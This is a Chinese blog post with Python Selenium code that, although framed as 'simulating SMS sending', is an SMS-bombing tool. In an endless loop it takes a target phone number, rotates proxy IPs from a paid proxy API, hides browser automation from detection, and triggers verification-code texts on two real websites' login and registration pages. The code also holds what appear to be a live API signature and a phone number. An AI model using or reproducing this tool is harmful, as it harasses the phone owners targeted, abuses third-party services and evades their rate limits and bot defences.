用python selenium模拟短信发送

用python模拟短信发送

pip install -i https://pypi.tuna.tsinghua.edu.cn/simple selenium
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple requests
webdriver:
https://developer.microsoft.com/en-us/microsoft-edge/tools/webdriver/?form=MA13LH
from selenium import webdriver
from selenium.webdriver import EdgeOptions
from selenium.webdriver.common.by import By
import requests
import time
def API(sms):
	#http/https代理服务API
    apiurl='http://xxxxxxx.com/dynamic/getips?auto_white=1&num=1&pt=1&result_type=text&split=1&trade_no=xxxxxxxxx'
    headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0"}
    api_requests=requests.get(url=apiurl,headers=headers).text
    options = EdgeOptions()
    if options :
    	options.add_argument(('--proxy-server=' + api_requests))
    else:
    	api_requests='https://127.0.0.1:80'
    driver = webdriver.Edge(options=options)
    driver.get('https://u.southmoney.com/login')
    driver.implicitly_wait(15)
    driver.find_element(By.ID,'phone').send_keys(sms)#18224665918
    driver.find_element(By.ID,'codeBtn').click()
    driver.quit()
    return api_requests
def API1(sms):
    apiurl='http://v2.api.juliangip.com/dynamic/getips?auto_white=1&num=1&pt=1&result_type=text&split=1&trade_no=1758403084041295&sign=edd53ff322da0a70f9a89bcfef68db86'
    headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Edg/123.0.0.0"}
    api_requests=requests.get(url=apiurl,headers=headers).text
    options = EdgeOptions()
    options.add_argument(('--proxy-server=' + api_requests))
    driver = webdriver.Edge(options=options)
    driver.execute_cdp_cmd("Page.addScriptToEvaluateOnNewDocument", {
        "source": """
        Object.defineProperty(navigator, 'webdriver', {
          get: () => false
        })
      """
    })
    driver.get('https://user.chinapp.com/register')
    driver.implicitly_wait(15)
    driver.find_element(By.ID,'re_username').send_keys(sms)
    driver.find_element(By.ID,'doc-yeshili-code').click()
    time.sleep(10)
    driver.quit()
a=1
sms = input("输入要测试的手机:")
while True:
    try:
        API(sms)
        print(f'[+] 已发送{a}')
        a += 1
        API1(sms)
        print(f'[+] 已发送{a}')
        a += 1
    except:
        sms = int(input("输入要测试的手机:"))
        continue
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值